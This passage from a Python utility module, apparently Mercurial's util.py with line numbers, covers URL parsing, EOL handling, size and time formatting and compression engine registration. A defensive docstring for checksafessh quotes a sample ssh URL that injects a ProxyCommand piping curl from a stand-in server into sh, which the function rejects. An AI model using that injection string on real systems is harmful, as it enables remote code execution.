2347 2354 0-based range.
2348 2355
2349 2356 >>> processlinerange(10, 20)
2350 2357 (9, 20)
2351 2358 >>> processlinerange(2, 1)
2352 2359 Traceback (most recent call last):
2353 2360 ...
2354 2361 ParseError: line range must be positive
2355 2362 >>> processlinerange(0, 5)
2356 2363 Traceback (most recent call last):
2357 2364 ...
2358 2365 ParseError: fromline must be strictly positive
2359 2366 """
2360 2367 if toline - fromline < 0:
2361 2368 raise error.ParseError(_("line range must be positive"))
2362 2369 if fromline < 1:
2363 2370 raise error.ParseError(_("fromline must be strictly positive"))
2364 2371 return fromline - 1, toline
2365 2372
2366 2373 bytecount = unitcountfn(
2367 2374 (100, 1 << 30, _('%.0f GB')),
2368 2375 (10, 1 << 30, _('%.1f GB')),
2369 2376 (1, 1 << 30, _('%.2f GB')),
2370 2377 (100, 1 << 20, _('%.0f MB')),
2371 2378 (10, 1 << 20, _('%.1f MB')),
2372 2379 (1, 1 << 20, _('%.2f MB')),
2373 2380 (100, 1 << 10, _('%.0f KB')),
2374 2381 (10, 1 << 10, _('%.1f KB')),
2375 2382 (1, 1 << 10, _('%.2f KB')),
2376 2383 (1, 1, _('%.0f bytes')),
2377 2384 )
2378 2385
2379 2386 class transformingwriter(object):
2380 2387 """Writable file wrapper to transform data by function"""
2381 2388
2382 2389 def __init__(self, fp, encode):
2383 2390 self._fp = fp
2384 2391 self._encode = encode
2385 2392
2386 2393 def close(self):
2387 2394 self._fp.close()
2388 2395
2389 2396 def flush(self):
2390 2397 self._fp.flush()
2391 2398
2392 2399 def write(self, data):
2393 2400 return self._fp.write(self._encode(data))
2394 2401
2395 2402 # Matches a single EOL which can either be a CRLF where repeated CR
2396 2403 # are removed or a LF. We do not care about old Macintosh files, so a
2397 2404 # stray CR is an error.
2398 2405 _eolre = remod.compile(br'\r*\n')
2399 2406
2400 2407 def tolf(s):
2401 2408 return _eolre.sub('\n', s)
2402 2409
2403 2410 def tocrlf(s):
2404 2411 return _eolre.sub('\r\n', s)
2405 2412
2406 2413 def _crlfwriter(fp):
2407 2414 return transformingwriter(fp, tocrlf)
2408 2415
2409 2416 if pycompat.oslinesep == '\r\n':
2410 2417 tonativeeol = tocrlf
2411 2418 fromnativeeol = tolf
2412 2419 nativeeolwriter = _crlfwriter
2413 2420 else:
2414 2421 tonativeeol = pycompat.identity
2415 2422 fromnativeeol = pycompat.identity
2416 2423 nativeeolwriter = pycompat.identity
2417 2424
2418 2425 if (pyplatform.python_implementation() == 'CPython' and
2419 2426 sys.version_info < (3, 0)):
2420 2427 # There is an issue in CPython that some IO methods do not handle EINTR
2421 2428 # correctly. The following table shows what CPython version (and functions)
2422 2429 # are affected (buggy: has the EINTR bug, okay: otherwise):
2423 2430 #
2424 2431 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2425 2432 # --------------------------------------------------
2426 2433 # fp.__iter__ | buggy | buggy | okay
2427 2434 # fp.read* | buggy | okay [1] | okay
2428 2435 #
2429 2436 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2430 2437 #
2431 2438 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2432 2439 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2433 2440 #
2434 2441 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2435 2442 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2436 2443 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2437 2444 # fp.__iter__ but not other fp.read* methods.
2438 2445 #
2439 2446 # On modern systems like Linux, the "read" syscall cannot be interrupted
2440 2447 # when reading "fast" files like on-disk files. So the EINTR issue only
2441 2448 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2442 2449 # files approximately as "fast" files and use the fast (unsafe) code path,
2443 2450 # to minimize the performance impact.
2444 2451 if sys.version_info >= (2, 7, 4):
2445 2452 # fp.readline deals with EINTR correctly, use it as a workaround.
2446 2453 def _safeiterfile(fp):
2447 2454 return iter(fp.readline, '')
2448 2455 else:
2449 2456 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2450 2457 # note: this may block longer than necessary because of bufsize.
2451 2458 def _safeiterfile(fp, bufsize=4096):
2452 2459 fd = fp.fileno()
2453 2460 line = ''
2454 2461 while True:
2455 2462 try:
2456 2463 buf = os.read(fd, bufsize)
2457 2464 except OSError as ex:
2458 2465 # os.read only raises EINTR before any data is read
2459 2466 if ex.errno == errno.EINTR:
2460 2467 continue
2461 2468 else:
2462 2469 raise
2463 2470 line += buf
2464 2471 if '\n' in buf:
2465 2472 splitted = line.splitlines(True)
2466 2473 line = ''
2467 2474 for l in splitted:
2468 2475 if l[-1] == '\n':
2469 2476 yield l
2470 2477 else:
2471 2478 line = l
2472 2479 if not buf:
2473 2480 break
2474 2481 if line:
2475 2482 yield line
2476 2483
2477 2484 def iterfile(fp):
2478 2485 fastpath = True
2479 2486 if type(fp) is file:
2480 2487 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2481 2488 if fastpath:
2482 2489 return fp
2483 2490 else:
2484 2491 return _safeiterfile(fp)
2485 2492 else:
2486 2493 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2487 2494 def iterfile(fp):
2488 2495 return fp
2489 2496
2490 2497 def iterlines(iterator):
2491 2498 for chunk in iterator:
2492 2499 for line in chunk.splitlines():
2493 2500 yield line
2494 2501
2495 2502 def expandpath(path):
2496 2503 return os.path.expanduser(os.path.expandvars(path))
2497 2504
2498 2505 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2499 2506 """Return the result of interpolating items in the mapping into string s.
2500 2507
2501 2508 prefix is a single character string, or a two character string with
2502 2509 a backslash as the first character if the prefix needs to be escaped in
2503 2510 a regular expression.
2504 2511
2505 2512 fn is an optional function that will be applied to the replacement text
2506 2513 just before replacement.
2507 2514
2508 2515 escape_prefix is an optional flag that allows using doubled prefix for
2509 2516 its escaping.
2510 2517 """
2511 2518 fn = fn or (lambda s: s)
2512 2519 patterns = '|'.join(mapping.keys())
2513 2520 if escape_prefix:
2514 2521 patterns += '|' + prefix
2515 2522 if len(prefix) > 1:
2516 2523 prefix_char = prefix[1:]
2517 2524 else:
2518 2525 prefix_char = prefix
2519 2526 mapping[prefix_char] = prefix_char
2520 2527 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2521 2528 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2522 2529
2523 2530 def getport(port):
2524 2531 """Return the port for a given network service.
2525 2532
2526 2533 If port is an integer, it's returned as is. If it's a string, it's
2527 2534 looked up using socket.getservbyname(). If there's no matching
2528 2535 service, error.Abort is raised.
2529 2536 """
2530 2537 try:
2531 2538 return int(port)
2532 2539 except ValueError:
2533 2540 pass
2534 2541
2535 2542 try:
2536 2543 return socket.getservbyname(pycompat.sysstr(port))
2537 2544 except socket.error:
2538 2545 raise error.Abort(_("no port number associated with service '%s'")
2539 2546 % port)
2540 2547
2541 2548 class url(object):
2542 2549 r"""Reliable URL parser.
2543 2550
2544 2551 This parses URLs and provides attributes for the following
2545 2552 components:
2546 2553
2547 2554 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2548 2555
2549 2556 Missing components are set to None. The only exception is
2550 2557 fragment, which is set to '' if present but empty.
2551 2558
2552 2559 If parsefragment is False, fragment is included in query. If
2553 2560 parsequery is False, query is included in path. If both are
2554 2561 False, both fragment and query are included in path.
2555 2562
2556 2563 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2557 2564
2558 2565 Note that for backward compatibility reasons, bundle URLs do not
2559 2566 take host names. That means 'bundle://../' has a path of '../'.
2560 2567
2561 2568 Examples:
2562 2569
2563 2570 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2564 2571 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2565 2572 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2566 2573 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2567 2574 >>> url(b'file:///home/joe/repo')
2568 2575 <url scheme: 'file', path: '/home/joe/repo'>
2569 2576 >>> url(b'file:///c:/temp/foo/')
2570 2577 <url scheme: 'file', path: 'c:/temp/foo/'>
2571 2578 >>> url(b'bundle:foo')
2572 2579 <url scheme: 'bundle', path: 'foo'>
2573 2580 >>> url(b'bundle://../foo')
2574 2581 <url scheme: 'bundle', path: '../foo'>
2575 2582 >>> url(br'c:\foo\bar')
2576 2583 <url path: 'c:\\foo\\bar'>
2577 2584 >>> url(br'\\blah\blah\blah')
2578 2585 <url path: '\\\\blah\\blah\\blah'>
2579 2586 >>> url(br'\\blah\blah\blah#baz')
2580 2587 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2581 2588 >>> url(br'file:///C:\users\me')
2582 2589 <url scheme: 'file', path: 'C:\\users\\me'>
2583 2590
2584 2591 Authentication credentials:
2585 2592
2586 2593 >>> url(b'ssh://joe:xyz@x/repo')
2587 2594 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2588 2595 >>> url(b'ssh://joe@x/repo')
2589 2596 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2590 2597
2591 2598 Query strings and fragments:
2592 2599
2593 2600 >>> url(b'http://host/a?b#c')
2594 2601 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2595 2602 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2596 2603 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2597 2604
2598 2605 Empty path:
2599 2606
2600 2607 >>> url(b'')
2601 2608 <url path: ''>
2602 2609 >>> url(b'#a')
2603 2610 <url path: '', fragment: 'a'>
2604 2611 >>> url(b'http://host/')
2605 2612 <url scheme: 'http', host: 'host', path: ''>
2606 2613 >>> url(b'http://host/#a')
2607 2614 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2608 2615
2609 2616 Only scheme:
2610 2617
2611 2618 >>> url(b'http:')
2612 2619 <url scheme: 'http'>
2613 2620 """
2614 2621
2615 2622 _safechars = "!~*'()+"
2616 2623 _safepchars = "/!~*'()+:\\"
2617 2624 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2618 2625
2619 2626 def __init__(self, path, parsequery=True, parsefragment=True):
2620 2627 # We slowly chomp away at path until we have only the path left
2621 2628 self.scheme = self.user = self.passwd = self.host = None
2622 2629 self.port = self.path = self.query = self.fragment = None
2623 2630 self._localpath = True
2624 2631 self._hostport = ''
2625 2632 self._origpath = path
2626 2633
2627 2634 if parsefragment and '#' in path:
2628 2635 path, self.fragment = path.split('#', 1)
2629 2636
2630 2637 # special case for Windows drive letters and UNC paths
2631 2638 if hasdriveletter(path) or path.startswith('\\\\'):
2632 2639 self.path = path
2633 2640 return
2634 2641
2635 2642 # For compatibility reasons, we can't handle bundle paths as
2636 2643 # normal URLS
2637 2644 if path.startswith('bundle:'):
2638 2645 self.scheme = 'bundle'
2639 2646 path = path[7:]
2640 2647 if path.startswith('//'):
2641 2648 path = path[2:]
2642 2649 self.path = path
2643 2650 return
2644 2651
2645 2652 if self._matchscheme(path):
2646 2653 parts = path.split(':', 1)
2647 2654 if parts[0]:
2648 2655 self.scheme, path = parts
2649 2656 self._localpath = False
2650 2657
2651 2658 if not path:
2652 2659 path = None
2653 2660 if self._localpath:
2654 2661 self.path = ''
2655 2662 return
2656 2663 else:
2657 2664 if self._localpath:
2658 2665 self.path = path
2659 2666 return
2660 2667
2661 2668 if parsequery and '?' in path:
2662 2669 path, self.query = path.split('?', 1)
2663 2670 if not path:
2664 2671 path = None
2665 2672 if not self.query:
2666 2673 self.query = None
2667 2674
2668 2675 # // is required to specify a host/authority
2669 2676 if path and path.startswith('//'):
2670 2677 parts = path[2:].split('/', 1)
2671 2678 if len(parts) > 1:
2672 2679 self.host, path = parts
2673 2680 else:
2674 2681 self.host = parts[0]
2675 2682 path = None
2676 2683 if not self.host:
2677 2684 self.host = None
2678 2685 # path of file:///d is /d
2679 2686 # path of file:///d:/ is d:/, not /d:/
2680 2687 if path and not hasdriveletter(path):
2681 2688 path = '/' + path
2682 2689
2683 2690 if self.host and '@' in self.host:
2684 2691 self.user, self.host = self.host.rsplit('@', 1)
2685 2692 if ':' in self.user:
2686 2693 self.user, self.passwd = self.user.split(':', 1)
2687 2694 if not self.host:
2688 2695 self.host = None
2689 2696
2690 2697 # Don't split on colons in IPv6 addresses without ports
2691 2698 if (self.host and ':' in self.host and
2692 2699 not (self.host.startswith('[') and self.host.endswith(']'))):
2693 2700 self._hostport = self.host
2694 2701 self.host, self.port = self.host.rsplit(':', 1)
2695 2702 if not self.host:
2696 2703 self.host = None
2697 2704
2698 2705 if (self.host and self.scheme == 'file' and
2699 2706 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2700 2707 raise error.Abort(_('file:// URLs can only refer to localhost'))
2701 2708
2702 2709 self.path = path
2703 2710
2704 2711 # leave the query string escaped
2705 2712 for a in ('user', 'passwd', 'host', 'port',
2706 2713 'path', 'fragment'):
2707 2714 v = getattr(self, a)
2708 2715 if v is not None:
2709 2716 setattr(self, a, urlreq.unquote(v))
2710 2717
2711 2718 @encoding.strmethod
2712 2719 def __repr__(self):
2713 2720 attrs = []
2714 2721 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2715 2722 'query', 'fragment'):
2716 2723 v = getattr(self, a)
2717 2724 if v is not None:
2718 2725 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2719 2726 return '<url %s>' % ', '.join(attrs)
2720 2727
2721 2728 def __bytes__(self):
2722 2729 r"""Join the URL's components back into a URL string.
2723 2730
2724 2731 Examples:
2725 2732
2726 2733 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2727 2734 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2728 2735 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2729 2736 'http://user:pw@host:80/?foo=bar&baz=42'
2730 2737 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2731 2738 'http://user:pw@host:80/?foo=bar%3dbaz'
2732 2739 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2733 2740 'ssh://user:pw@[::1]:2200//home/joe#'
2734 2741 >>> bytes(url(b'http://localhost:80//'))
2735 2742 'http://localhost:80//'
2736 2743 >>> bytes(url(b'http://localhost:80/'))
2737 2744 'http://localhost:80/'
2738 2745 >>> bytes(url(b'http://localhost:80'))
2739 2746 'http://localhost:80/'
2740 2747 >>> bytes(url(b'bundle:foo'))
2741 2748 'bundle:foo'
2742 2749 >>> bytes(url(b'bundle://../foo'))
2743 2750 'bundle:../foo'
2744 2751 >>> bytes(url(b'path'))
2745 2752 'path'
2746 2753 >>> bytes(url(b'file:///tmp/foo/bar'))
2747 2754 'file:///tmp/foo/bar'
2748 2755 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2749 2756 'file:///c:/tmp/foo/bar'
2750 2757 >>> print(url(br'bundle:foo\bar'))
2751 2758 bundle:foo\bar
2752 2759 >>> print(url(br'file:///D:\data\hg'))
2753 2760 file:///D:\data\hg
2754 2761 """
2755 2762 if self._localpath:
2756 2763 s = self.path
2757 2764 if self.scheme == 'bundle':
2758 2765 s = 'bundle:' + s
2759 2766 if self.fragment:
2760 2767 s += '#' + self.fragment
2761 2768 return s
2762 2769
2763 2770 s = self.scheme + ':'
2764 2771 if self.user or self.passwd or self.host:
2765 2772 s += '//'
2766 2773 elif self.scheme and (not self.path or self.path.startswith('/')
2767 2774 or hasdriveletter(self.path)):
2768 2775 s += '//'
2769 2776 if hasdriveletter(self.path):
2770 2777 s += '/'
2771 2778 if self.user:
2772 2779 s += urlreq.quote(self.user, safe=self._safechars)
2773 2780 if self.passwd:
2774 2781 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2775 2782 if self.user or self.passwd:
2776 2783 s += '@'
2777 2784 if self.host:
2778 2785 if not (self.host.startswith('[') and self.host.endswith(']')):
2779 2786 s += urlreq.quote(self.host)
2780 2787 else:
2781 2788 s += self.host
2782 2789 if self.port:
2783 2790 s += ':' + urlreq.quote(self.port)
2784 2791 if self.host:
2785 2792 s += '/'
2786 2793 if self.path:
2787 2794 # TODO: similar to the query string, we should not unescape the
2788 2795 # path when we store it, the path might contain '%2f' = '/',
2789 2796 # which we should *not* escape.
2790 2797 s += urlreq.quote(self.path, safe=self._safepchars)
2791 2798 if self.query:
2792 2799 # we store the query in escaped form.
2793 2800 s += '?' + self.query
2794 2801 if self.fragment is not None:
2795 2802 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2796 2803 return s
2797 2804
2798 2805 __str__ = encoding.strmethod(__bytes__)
2799 2806
2800 2807 def authinfo(self):
2801 2808 user, passwd = self.user, self.passwd
2802 2809 try:
2803 2810 self.user, self.passwd = None, None
2804 2811 s = bytes(self)
2805 2812 finally:
2806 2813 self.user, self.passwd = user, passwd
2807 2814 if not self.user:
2808 2815 return (s, None)
2809 2816 # authinfo[1] is passed to urllib2 password manager, and its
2810 2817 # URIs must not contain credentials. The host is passed in the
2811 2818 # URIs list because Python < 2.4.3 uses only that to search for
2812 2819 # a password.
2813 2820 return (s, (None, (s, self.host),
2814 2821 self.user, self.passwd or ''))
2815 2822
2816 2823 def isabs(self):
2817 2824 if self.scheme and self.scheme != 'file':
2818 2825 return True # remote URL
2819 2826 if hasdriveletter(self.path):
2820 2827 return True # absolute for our purposes - can't be joined()
2821 2828 if self.path.startswith(br'\\'):
2822 2829 return True # Windows UNC path
2823 2830 if self.path.startswith('/'):
2824 2831 return True # POSIX-style
2825 2832 return False
2826 2833
2827 2834 def localpath(self):
2828 2835 if self.scheme == 'file' or self.scheme == 'bundle':
2829 2836 path = self.path or '/'
2830 2837 # For Windows, we need to promote hosts containing drive
2831 2838 # letters to paths with drive letters.
2832 2839 if hasdriveletter(self._hostport):
2833 2840 path = self._hostport + '/' + self.path
2834 2841 elif (self.host is not None and self.path
2835 2842 and not hasdriveletter(path)):
2836 2843 path = '/' + path
2837 2844 return path
2838 2845 return self._origpath
2839 2846
2840 2847 def islocal(self):
2841 2848 '''whether localpath will return something that posixfile can open'''
2842 2849 return (not self.scheme or self.scheme == 'file'
2843 2850 or self.scheme == 'bundle')
2844 2851
2845 2852 def hasscheme(path):
2846 2853 return bool(url(path).scheme)
2847 2854
2848 2855 def hasdriveletter(path):
2849 2856 return path and path[1:2] == ':' and path[0:1].isalpha()
2850 2857
2851 2858 def urllocalpath(path):
2852 2859 return url(path, parsequery=False, parsefragment=False).localpath()
2853 2860
2854 2861 def checksafessh(path):
2855 2862 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2856 2863
2857 2864 This is a sanity check for ssh urls. ssh will parse the first item as
2858 2865 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2859 2866 Let's prevent these potentially exploited urls entirely and warn the
2860 2867 user.
2861 2868
2862 2869 Raises an error.Abort when the url is unsafe.
2863 2870 """
2864 2871 path = urlreq.unquote(path)
2865 2872 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2866 2873 raise error.Abort(_('potentially unsafe url: %r') %
2867 2874 (pycompat.bytestr(path),))
2868 2875
2869 2876 def hidepassword(u):
2870 2877 '''hide user credential in a url string'''
2871 2878 u = url(u)
2872 2879 if u.passwd:
2873 2880 u.passwd = '***'
2874 2881 return bytes(u)
2875 2882
2876 2883 def removeauth(u):
2877 2884 '''remove all authentication information from a url string'''
2878 2885 u = url(u)
2879 2886 u.user = u.passwd = None
2880 2887 return bytes(u)
2881 2888
2882 2889 timecount = unitcountfn(
2883 2890 (1, 1e3, _('%.0f s')),
2884 2891 (100, 1, _('%.1f s')),
2885 2892 (10, 1, _('%.2f s')),
2886 2893 (1, 1, _('%.3f s')),
2887 2894 (100, 0.001, _('%.1f ms')),
2888 2895 (10, 0.001, _('%.2f ms')),
2889 2896 (1, 0.001, _('%.3f ms')),
2890 2897 (100, 0.000001, _('%.1f us')),
2891 2898 (10, 0.000001, _('%.2f us')),
2892 2899 (1, 0.000001, _('%.3f us')),
2893 2900 (100, 0.000000001, _('%.1f ns')),
2894 2901 (10, 0.000000001, _('%.2f ns')),
2895 2902 (1, 0.000000001, _('%.3f ns')),
2896 2903 )
2897 2904
2898 2905 _timenesting = [0]
2899 2906
2900 2907 def timed(func):
2901 2908 '''Report the execution time of a function call to stderr.
2902 2909
2903 2910 During development, use as a decorator when you need to measure
2904 2911 the cost of a function, e.g. as follows:
2905 2912
2906 2913 @util.timed
2907 2914 def foo(a, b, c):
2908 2915 pass
2909 2916 '''
2910 2917
2911 2918 def wrapper(*args, **kwargs):
2912 2919 start = timer()
2913 2920 indent = 2
2914 2921 _timenesting[0] += indent
2915 2922 try:
2916 2923 return func(*args, **kwargs)
2917 2924 finally:
2918 2925 elapsed = timer() - start
2919 2926 _timenesting[0] -= indent
2920 2927 stderr = procutil.stderr
2921 2928 stderr.write('%s%s: %s\n' %
2922 2929 (' ' * _timenesting[0], func.__name__,
2923 2930 timecount(elapsed)))
2924 2931 return wrapper
2925 2932
2926 2933 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2927 2934 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2928 2935
2929 2936 def sizetoint(s):
2930 2937 '''Convert a space specifier to a byte count.
2931 2938
2932 2939 >>> sizetoint(b'30')
2933 2940 30
2934 2941 >>> sizetoint(b'2.2kb')
2935 2942 2252
2936 2943 >>> sizetoint(b'6M')
2937 2944 6291456
2938 2945 '''
2939 2946 t = s.strip().lower()
2940 2947 try:
2941 2948 for k, u in _sizeunits:
2942 2949 if t.endswith(k):
2943 2950 return int(float(t[:-len(k)]) * u)
2944 2951 return int(t)
2945 2952 except ValueError:
2946 2953 raise error.ParseError(_("couldn't parse size: %s") % s)
2947 2954
2948 2955 class hooks(object):
2949 2956 '''A collection of hook functions that can be used to extend a
2950 2957 function's behavior. Hooks are called in lexicographic order,
2951 2958 based on the names of their sources.'''
2952 2959
2953 2960 def __init__(self):
2954 2961 self._hooks = []
2955 2962
2956 2963 def add(self, source, hook):
2957 2964 self._hooks.append((source, hook))
2958 2965
2959 2966 def __call__(self, *args):
2960 2967 self._hooks.sort(key=lambda x: x[0])
2961 2968 results = []
2962 2969 for source, hook in self._hooks:
2963 2970 results.append(hook(*args))
2964 2971 return results
2965 2972
2966 2973 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2967 2974 '''Yields lines for a nicely formatted stacktrace.
2968 2975 Skips the 'skip' last entries, then return the last 'depth' entries.
2969 2976 Each file+linenumber is formatted according to fileline.
2970 2977 Each line is formatted according to line.
2971 2978 If line is None, it yields:
2972 2979 length of longest filepath+line number,
2973 2980 filepath+linenumber,
2974 2981 function
2975 2982
2976 2983 Not be used in production code but very convenient while developing.
2977 2984 '''
2978 2985 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2979 2986 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2980 2987 ][-depth:]
2981 2988 if entries:
2982 2989 fnmax = max(len(entry[0]) for entry in entries)
2983 2990 for fnln, func in entries:
2984 2991 if line is None:
2985 2992 yield (fnmax, fnln, func)
2986 2993 else:
2987 2994 yield line % (fnmax, fnln, func)
2988 2995
2989 2996 def debugstacktrace(msg='stacktrace', skip=0,
2990 2997 f=procutil.stderr, otherf=procutil.stdout, depth=0):
2991 2998 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
2992 2999 Skips the 'skip' entries closest to the call, then show 'depth' entries.
2993 3000 By default it will flush stdout first.
2994 3001 It can be used everywhere and intentionally does not require an ui object.
2995 3002 Not be used in production code but very convenient while developing.
2996 3003 '''
2997 3004 if otherf:
2998 3005 otherf.flush()
2999 3006 f.write('%s at:\n' % msg.rstrip())
3000 3007 for line in getstackframes(skip + 1, depth=depth):
3001 3008 f.write(line)
3002 3009 f.flush()
3003 3010
3004 3011 class dirs(object):
3005 3012 '''a multiset of directory names from a dirstate or manifest'''
3006 3013
3007 3014 def __init__(self, map, skip=None):
3008 3015 self._dirs = {}
3009 3016 addpath = self.addpath
3010 3017 if safehasattr(map, 'iteritems') and skip is not None:
3011 3018 for f, s in map.iteritems():
3012 3019 if s[0] != skip:
3013 3020 addpath(f)
3014 3021 else:
3015 3022 for f in map:
3016 3023 addpath(f)
3017 3024
3018 3025 def addpath(self, path):
3019 3026 dirs = self._dirs
3020 3027 for base in finddirs(path):
3021 3028 if base in dirs:
3022 3029 dirs[base] += 1
3023 3030 return
3024 3031 dirs[base] = 1
3025 3032
3026 3033 def delpath(self, path):
3027 3034 dirs = self._dirs
3028 3035 for base in finddirs(path):
3029 3036 if dirs[base] > 1:
3030 3037 dirs[base] -= 1
3031 3038 return
3032 3039 del dirs[base]
3033 3040
3034 3041 def __iter__(self):
3035 3042 return iter(self._dirs)
3036 3043
3037 3044 def __contains__(self, d):
3038 3045 return d in self._dirs
3039 3046
3040 3047 if safehasattr(parsers, 'dirs'):
3041 3048 dirs = parsers.dirs
3042 3049
3043 3050 def finddirs(path):
3044 3051 pos = path.rfind('/')
3045 3052 while pos != -1:
3046 3053 yield path[:pos]
3047 3054 pos = path.rfind('/', 0, pos)
3048 3055
3049 3056 # compression code
3050 3057
3051 3058 SERVERROLE = 'server'
3052 3059 CLIENTROLE = 'client'
3053 3060
3054 3061 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3055 3062 (u'name', u'serverpriority',
3056 3063 u'clientpriority'))
3057 3064
3058 3065 class compressormanager(object):
3059 3066 """Holds registrations of various compression engines.
3060 3067
3061 3068 This class essentially abstracts the differences between compression
3062 3069 engines to allow new compression formats to be added easily, possibly from
3063 3070 extensions.
3064 3071
3065 3072 Compressors are registered against the global instance by calling its
3066 3073 ``register()`` method.
3067 3074 """
3068 3075 def __init__(self):
3069 3076 self._engines = {}
3070 3077 # Bundle spec human name to engine name.
3071 3078 self._bundlenames = {}
3072 3079 # Internal bundle identifier to engine name.
3073 3080 self._bundletypes = {}
3074 3081 # Revlog header to engine name.
3075 3082 self._revlogheaders = {}
3076 3083 # Wire proto identifier to engine name.
3077 3084 self._wiretypes = {}
3078 3085
3079 3086 def __getitem__(self, key):
3080 3087 return self._engines[key]
3081 3088
3082 3089 def __contains__(self, key):
3083 3090 return key in self._engines
3084 3091
3085 3092 def __iter__(self):
3086 3093 return iter(self._engines.keys())
3087 3094
3088 3095 def register(self, engine):
3089 3096 """Register a compression engine with the manager.
3090 3097
3091 3098 The argument must be a ``compressionengine`` instance.
3092 3099 """
3093 3100 if not isinstance(engine, compressionengine):
3094 3101 raise ValueError(_('argument must be a compressionengine'))
3095 3102
3096 3103 name = engine.name()
3097 3104
3098 3105 if name in self._engines:
3099 3106 raise error.Abort(_('compression engine %s already registered') %
3100 3107 name)
3101 3108
3102 3109 bundleinfo = engine.bundletype()
3103 3110 if bundleinfo:
3104 3111 bundlename, bundletype = bundleinfo
3105 3112
3106 3113 if bundlename in self._bundlenames:
3107 3114 raise error.Abort(_('bundle name %s already registered') %
3108 3115 bundlename)
3109 3116 if bundletype in self._bundletypes:
3110 3117 raise error.Abort(_('bundle type %s already registered by %s') %
3111 3118 (bundletype, self._bundletypes[bundletype]))
3112 3119
3113 3120 # No external facing name declared.
3114 3121 if bundlename:
3115 3122 self._bundlenames[bundlename] = name
3116 3123
3117 3124 self._bundletypes[bundletype] = name
3118 3125
3119 3126 wiresupport = engine.wireprotosupport()
3120 3127 if wiresupport:
3121 3128 wiretype = wiresupport.name
3122 3129 if wiretype in self._wiretypes:
3123 3130 raise error.Abort(_('wire protocol compression %s already '
3124 3131 'registered by %s') %
3125 3132 (wiretype, self._wiretypes[wiretype]))
3126 3133
3127 3134 self._wiretypes[wiretype] = name
3128 3135
3129 3136 revlogheader = engine.revlogheader()
3130 3137 if revlogheader and revlogheader in self._revlogheaders:
3131 3138 raise error.Abort(_('revlog header %s already registered by %s') %
3132 3139 (revlogheader, self._revlogheaders[revlogheader]))
3133 3140
3134 3141 if revlogheader:
3135 3142 self._revlogheaders[revlogheader] = name
3136 3143
3137 3144 self._engines[name] = engine
3138 3145
3139 3146 @property
3140 3147 def supportedbundlenames(self):
3141 3148 return set(self._bundlenames.keys())
3142 3149
3143 3150 @property
3144 3151 def supportedbundletypes(self):
3145 3152 return set(self._bundletypes.keys())
3146 3153
3147 3154 def forbundlename(self, bundlename):
3148 3155 """Obtain a compression engine registered to a bundle name.
3149 3156
3150 3157 Will raise KeyError if the bundle type isn't registered.
3151 3158
3152 3159 Will abort if the engine is known but not available.
3153 3160 """
3154 3161 engine = self._engines[self._bundlenames[bundlename]]
3155 3162 if not engine.available():
3156 3163 raise error.Abort(_('compression engine %s could not be loaded') %
3157 3164 engine.name())
3158 3165 return engine
3159 3166
3160 3167 def forbundletype(self, bundletype):
3161 3168 """Obtain a compression engine registered to a bundle type.
3162 3169
3163 3170 Will raise KeyError if the bundle type isn't registered.
3164 3171
3165 3172 Will abort if the engine is known but not available.
3166 3173 """
3167 3174 engine = self._engines[self._bundletypes[bundletype]]
3168 3175 if not engine.available():
3169 3176 raise error.Abort(_('compression engine %s could not be loaded') %
3170 3177 engine.name())
3171 3178 return engine
3172 3179
3173 3180 def supportedwireengines(self, role, onlyavailable=True):
3174 3181 """Obtain compression engines that support the wire protocol.
3175 3182
3176 3183 Returns a list of engines in prioritized order, most desired first.
3177 3184
3178 3185 If ``onlyavailable`` is set, filter out engines that can't be
3179 3186 loaded.
3180 3187 """
3181 3188 assert role in (SERVERROLE, CLIENTROLE)
3182 3189
